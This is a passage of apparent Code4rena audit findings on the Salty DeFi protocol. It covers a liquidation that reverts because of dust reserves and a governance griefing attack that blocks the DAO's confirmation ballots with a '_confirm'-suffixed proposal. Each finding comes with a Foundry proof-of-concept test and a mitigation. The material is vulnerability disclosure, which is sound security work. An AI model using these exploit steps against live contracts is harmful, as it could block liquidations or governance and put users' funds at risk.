(uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] );

and this is part of the Pools.removeLiquidity() function:

require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");

As can be seen, when removing liquidity causes dust amounts to be left in the pool, then the function call will revert which can affect liquidations when the position owner is the only user with collateral.

Clone the github repo and run forge build and then paste the following test file in /src/scenario_tests/ and run forge test --mt test_liquidationDustPOC:

<details> <summary>POC Test File</summary>

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.22;

import "../dev/Deployment.sol";
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../rewards/RewardsConfig.sol";
import "../staking/StakingConfig.sol";
import "../price_feed/tests/ForcedPriceFeed.sol";

contract MockAccessManager {
    function walletHasAccess(address wallet) external pure returns (bool) {
        return wallet == wallet;
    }
}

contract MockInitialDistribution {

    address public bootstrapBallot;

    constructor(address _bootstrapBallot) {
        bootstrapBallot = _bootstrapBallot;
    }
}

contract LiquidationDustPOC is Test {
    using SafeERC20 for ISalt;
    using SafeERC20 for IERC20;

    IExchangeConfig public exchangeConfig;
    IBootstrapBallot public bootstrapBallot;
    IAirdrop public airdrop;
    IStaking public staking;
    IDAO public dao;
    ILiquidizer public liquidizer;

    IPoolsConfig public poolsConfig;
    IStakingConfig public stakingConfig;
    IRewardsConfig public rewardsConfig;
    IStableConfig public stableConfig;
    ISaltRewards public saltRewards;
    IPools public pools;
    MockInitialDistribution public initialDistribution;

    IRewardsEmitter public stakingRewardsEmitter;
    IRewardsEmitter public liquidityRewardsEmitter;
    IEmissions public emissions;

    ISalt public salt;
    IERC20 public dai;
    USDS public usds;
    IERC20 public wbtc;
    IERC20 public weth;

    CollateralAndLiquidity public collateralAndLiquidity;
    MockAccessManager public accessManager;

    IForcedPriceFeed public priceFeed1;
    IForcedPriceFeed public priceFeed2;
    IForcedPriceFeed public priceFeed3;

    IPriceAggregator public priceAggregator;

    function setUp() public {
        vm.startPrank(address(1));

        priceFeed1 = new ForcedPriceFeed(30000 ether, 3000 ether);
        priceFeed2 = new ForcedPriceFeed(30100 ether, 3050 ether);
        priceFeed3 = new ForcedPriceFeed(30500 ether, 3010 ether);

        priceAggregator = new PriceAggregator();
        priceAggregator.setInitialFeeds(
            IPriceFeed(address(priceFeed1)),
            IPriceFeed(address(priceFeed2)),
            IPriceFeed(address(priceFeed3))
        );

        salt = new Salt();
        dai = new TestERC20("DAI", 18);
        weth = new TestERC20("WETH", 18);
        wbtc = new TestERC20("WBTC", 8);
        usds = new USDS();

        rewardsConfig = new RewardsConfig();
        poolsConfig = new PoolsConfig();
        stakingConfig = new StakingConfig();
        stableConfig = new StableConfig();

        exchangeConfig = new ExchangeConfig(
            salt,
            wbtc,
            weth,
            dai,
            usds,
            IManagedWallet(address(0))
        );

        stakingRewardsEmitter = new RewardsEmitter(
            IStakingRewards(makeAddr("stakingRewards")),
            exchangeConfig,
            poolsConfig,
            IRewardsConfig(address(0)),
            false
        );

        liquidityRewardsEmitter = new RewardsEmitter(
            IStakingRewards(makeAddr("stakingRewards")),
            exchangeConfig,
            poolsConfig,
            IRewardsConfig(address(0)),
            true
        );

        pools = new Pools(exchangeConfig, poolsConfig);

        saltRewards = new SaltRewards(
            stakingRewardsEmitter,
            liquidityRewardsEmitter,
            exchangeConfig,
            rewardsConfig
        );

        initialDistribution = new MockInitialDistribution(makeAddr("bootstrapBallot"));

        exchangeConfig.setContracts(
            dao,
            IUpkeep(address(0)),
            IInitialDistribution(address(initialDistribution)),
            IAirdrop(address(0)),
            VestingWallet(payable(address(0))),
            VestingWallet(payable(address(0)))
        );

        poolsConfig.whitelistPool(pools, salt, wbtc);
        poolsConfig.whitelistPool(pools, salt, weth);
        poolsConfig.whitelistPool(pools, salt, usds);
        poolsConfig.whitelistPool(pools, wbtc, usds);
        poolsConfig.whitelistPool(pools, weth, usds);
        poolsConfig.whitelistPool(pools, wbtc, dai);
        poolsConfig.whitelistPool(pools, weth, dai);
        poolsConfig.whitelistPool(pools, usds, dai);
        poolsConfig.whitelistPool(pools, wbtc, weth);

        liquidizer = new Liquidizer(exchangeConfig, poolsConfig);


        accessManager = new MockAccessManager();
        exchangeConfig.setAccessManager(IAccessManager(address(accessManager)));

        collateralAndLiquidity = new CollateralAndLiquidity(
            pools,
            exchangeConfig,
            poolsConfig,
            stakingConfig,
            stableConfig,
            priceAggregator,
            liquidizer
        );

        usds.setCollateralAndLiquidity(collateralAndLiquidity);

        dao = new DAO(
            pools,
            IProposals(address(0)),
            exchangeConfig,
            poolsConfig,
            IStakingConfig(address(0)),
            IRewardsConfig(address(0)),
            IStableConfig(address(0)),
            IDAOConfig(address(0)),
            IPriceAggregator(address(0)),
            liquidityRewardsEmitter,
            ICollateralAndLiquidity(address(collateralAndLiquidity))
        );

        pools.setContracts(
            dao,
            collateralAndLiquidity
        );

        liquidizer.setContracts(collateralAndLiquidity, pools, dao);

        vm.stopPrank();

        vm.prank(makeAddr("bootstrapBallot"));
        pools.startExchangeApproved();
    }

    function test_liquidationDustPOC() external {

        address alice = makeAddr("alice");
        uint256 WBTC_ADD_LIQUIDITY_AMOUNT = 1 * 10 ** 8;
        uint256 WETH_ADD_LIQUIDITY_AMOUNT = 100 * 10 ** 18;

        vm.startPrank(address(1));
        wbtc.safeTransfer(alice, WBTC_ADD_LIQUIDITY_AMOUNT);
        weth.safeTransfer(alice, WETH_ADD_LIQUIDITY_AMOUNT);
        vm.stopPrank();

        vm.startPrank(alice);
        wbtc.approve(address(collateralAndLiquidity), WBTC_ADD_LIQUIDITY_AMOUNT);
        weth.approve(address(collateralAndLiquidity), WETH_ADD_LIQUIDITY_AMOUNT);
        vm.stopPrank();

        // Adding liquidity to WBTC/WETH for USDS collateral
        vm.prank(alice);
        (uint256 addedAmountWBTC1, uint256 addedAmountWETH1, ) = collateralAndLiquidity.depositCollateralAndIncreaseShare(
            WBTC_ADD_LIQUIDITY_AMOUNT,
            WETH_ADD_LIQUIDITY_AMOUNT,
            0,
            block.timestamp,
            false
        );

        // Borrowing USDS
        vm.startPrank(alice);
        collateralAndLiquidity.borrowUSDS(collateralAndLiquidity.maxBorrowableUSDS(alice));
        vm.stopPrank();

        vm.warp(block.timestamp + 5 days);

        // After 5 days the price of collateral drops to liquidation levels
        vm.startPrank(address(1));
        priceFeed1.setBTCPrice(30000 ether / 2);
        priceFeed2.setBTCPrice(30100 ether / 2);
        priceFeed3.setBTCPrice(30500 ether / 2);

        priceFeed1.setETHPrice(3000 ether / 2);
        priceFeed2.setETHPrice(3050 ether / 2);
        priceFeed3.setETHPrice(3010 ether / 2);

        vm.stopPrank();

        // Liquidations can't happen because it would leave dust amounts
        vm.prank(address(makeAddr("liquidator")));
        vm.expectRevert("Insufficient reserves after liquidity removal");
        collateralAndLiquidity.liquidateUser(alice);

    }
}

</details>

As can be seen, when the liquidated user is the only collateral holder their liquidation will revert because it would leave dust amounts.

Tools Used

Manual Review.

Recommended Mitigation Steps

A potential mitigation is the protocol itself depositing at least the dust amounts so that no collateral withdrawal can cause the reserves to go below dust amounts.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L122-#L127 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L202-#L214

Vulnerability details

Impact

The DAO can start a second confirmation ballot for a setting contract proposal and a setting website proposal. The DAO does this by adding _confirm at the end of the proposal name and starting a second confirmation ballot by calling Proposals.createConfirmationProposal(). However, an attacker can stop a second confirmation ballot from starting by creating their own proposal with the proposal name and _confirm at the end and then as the name already exists, when the DAO goes to create a second confirmation ballot, the function call will fail. This issue arises from the Proposals._possiblyCreateProposal() function which fails to check if _confirm is at the end of a given input name of a proposal.

Proof of Concept

This is part of the DAO._executeApproval() function:

// Once an initial setContract proposal passes, it automatically starts a second confirmation ballot (to prevent last minute approvals)
else if ( ballot.ballotType == BallotType.SET_CONTRACT )
  proposals.createConfirmationProposal( string.concat(ballot.ballotName, "_confirm"), BallotType.CONFIRM_SET_CONTRACT, ballot.address1, "", ballot.description );

// Once an initial setWebsiteURL proposal passes, it automatically starts a second confirmation ballot (to prevent last minute approvals)
else if ( ballot.ballotType == BallotType.SET_WEBSITE_URL )
  proposals.createConfirmationProposal( string.concat(ballot.ballotName, "_confirm"), BallotType.CONFIRM_SET_WEBSITE_URL, address(0), ballot.string1, ballot.description );

else if ( ballot.ballotType == BallotType.CONFIRM_SET_CONTRACT )
  _executeSetContract( ballot );

else if ( ballot.ballotType == BallotType.CONFIRM_SET_WEBSITE_URL )
  _executeSetWebsiteURL( ballot );

and this is the Proposals._possiblyCreateProposal() function that is called when someone creates a new proposal:

function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID)
  {
  require( block.timestamp >= firstPossibleProposalTimestamp, "Cannot propose ballots within the first 45 days of deployment" );

  // The DAO can create confirmation proposals which won't have the below requirements
  if ( msg.sender != address(exchangeConfig.dao() ) )
    {
    // Make sure that the sender has the minimum amount of xSALT required to make the proposal
    uint256 totalStaked = staking.totalShares(PoolUtils.STAKED_SALT);
    uint256 requiredXSalt = ( totalStaked * daoConfig.requiredProposalPercentStakeTimes1000() ) / ( 100 * 1000 );

    require( requiredXSalt > 0, "requiredXSalt cannot be zero" );

    uint256 userXSalt = staking.userShareForPool( msg.sender, PoolUtils.STAKED_SALT );
    require( userXSalt >= requiredXSalt, "Sender does not have enough xSALT to make the proposal" );

    // Make sure that the user doesn't already have an active proposal
    require( ! _userHasActiveProposal[msg.sender], "Users can only have one active proposal at a time" );
    }

  // Make sure that a proposal of the same name is not already open for the ballot
  require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" );
  require( openBallotsByName[ string.concat(ballotName, "_confirm")] == 0, "Cannot create a proposal for a ballot with a secondary confirmation" );

  uint256 ballotMinimumEndTime = block.timestamp + daoConfig.ballotMinimumDuration();

  // Add the new Ballot to storage
  ballotID = nextBallotID++;
  ballots[ballotID] = Ballot( ballotID, true, ballotType, ballotName, address1, number1, string1, string2, ballotMinimumEndTime );
  openBallotsByName[ballotName] = ballotID;
  _allOpenBallots.add( ballotID );

  // Remember that the user made a proposal
  _userHasActiveProposal[msg.sender] = true;
  _usersThatProposedBallots[ballotID] = msg.sender;

  emit ProposalCreated(ballotID, ballotType, ballotName);
  }

As can be seen, there are no proper checks to make sure that _confirm is not at the end of the ballot name if the sender of the function is not the DAO. This allows anyone to make the second confirmation ballot start revert because there is already a ballot with the same name.

Clone the github repo and run forge build then paste the following test file in /src/scenario_tests/ and run forge test --mt test_frontrunCreateConfirmationProposalPOC:

<details> <summary>POC Test File</summary>

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../dev/Deployment.sol";
import "../dao/tests/ExcessiveSupplyToken.sol";

contract MockAccessManager {
    function walletHasAccess(address wallet) external pure returns (bool) {
        return wallet == wallet;
    }
}

contract MockCollateralAndLiquidity {
    address public liquidizer;
}

contract TestConfirmationProposalPOC is Test {
    IDAO public dao;

    IExchangeConfig public exchangeConfig;
    IDAOConfig public daoConfig;
    IPoolsConfig public poolsConfig;

    ISalt public salt;
    IERC20 public dai;
    USDS public usds;

    IStaking public staking;
    IProposals public proposals;

    MockAccessManager public accessManager;
    MockCollateralAndLiquidity public collateralAndLiquidity;

    function setUp() public {
        vm.startPrank(address(1));

        salt = new Salt();
        dai = new TestERC20("DAI", 18);
        usds = new USDS();

        daoConfig = new DAOConfig();
        poolsConfig = new PoolsConfig();

        exchangeConfig = new ExchangeConfig(
            salt,
            IERC20(address(0)),
            IERC20(address(0)),
            dai,
            usds,
            IManagedWallet(address(0))
        );

        staking = new Staking(
            exchangeConfig,
            poolsConfig,
            IStakingConfig(address(0))
        );
        collateralAndLiquidity = new MockCollateralAndLiquidity();

        proposals = new Proposals(
            staking,
            exchangeConfig,
            poolsConfig,
            daoConfig
        );

        dao = new DAO(
            IPools(address(0)),
            proposals,
            exchangeConfig,
            poolsConfig,
            IStakingConfig(address(0)),
            IRewardsConfig(address(0)),
            IStableConfig(address(0)),
            daoConfig,
            IPriceAggregator(address(0)),
            IRewardsEmitter(address(0)),
            ICollateralAndLiquidity(address(collateralAndLiquidity))
        );

        exchangeConfig.setContracts(
            dao,
            IUpkeep(address(0)),
            IInitialDistribution(address(0)),
            IAirdrop(address(0)),
            VestingWallet(payable(address(0))),
            VestingWallet(payable(address(0)))
        );

        accessManager = new MockAccessManager();
        exchangeConfig.setAccessManager(IAccessManager(address(accessManager)));

        vm.warp(block.timestamp + 45 days);

        vm.stopPrank();
    }

    function test_frontrunCreateConfirmationProposalPOC() public {
        // Ballot information for a standard proposal
        string memory contractName = "priceFeed1";
        address newAddress = makeAddr("goodAddress");
        string memory description = "description";

        address alice = makeAddr("alice");

        // Transferring SALT to Alice so she can stake
        vm.prank(address(1));
        salt.transfer(alice, 500000 ether);

        // Alice stakes SALT and proposes to set the price feed 1
        // She then casts a yes vote which is enough for the ballot to be confirmed
        vm.startPrank(alice);
        salt.approve(address(staking), type(uint256).max);
        staking.stakeSALT(500000 ether);

        proposals.proposeSetContractAddress(
            contractName,
            newAddress,
            description
        );
        proposals.castVote(1, Vote.YES);
        vm.stopPrank();

        // Warping 10 days to when ballot can be finalized
        vm.warp(block.timestamp + 10 days);

        // Bob comes along and adds _confirm to the end of the ballot name
        string memory contractNameBad = "priceFeed1_confirm";
        address newAddressBad = makeAddr("badAddress");
        string memory descriptionBad = "description";

        address bob = makeAddr("bob");

        // Transferring SALT to Bob so he can stake
        vm.prank(address(1));
        salt.transfer(bob, 500000 ether);

        // Bob stakes SALT and proposes to set the price feed 1 but with _confirm at the end
        vm.startPrank(bob);
        salt.approve(address(staking), type(uint256).max);
        staking.stakeSALT(500000 ether);
        proposals.proposeSetContractAddress(
            contractNameBad,
            newAddressBad,
            descriptionBad
        );
        vm.stopPrank();

        // Since this is a set contract proposal the DAO wil send a second confirmation ballot however the tx will revert because of bob's malicious proposal
        vm.prank(alice);
        vm.expectRevert(
            "Cannot create a proposal similar to a ballot that is still open"
        );
        dao.finalizeBallot(1);
    }
}

</details>

As can be seen, an attacker can create a proposal with _confirm at the end of the name of an already created proposal that needs a second confirmation ballot. So when the DAO wants to create a second confirmation ballot the function call will revert.

Tools Used

Manual Review.

Recommended Mitigation Steps

Check that when a proposal is created it does not have _confirm at the end of the name, if it is not the DAO. This will mitigate this issue as it only allows the DAO to create proposals with _confirm at the end of the name.

Assessed type

Governance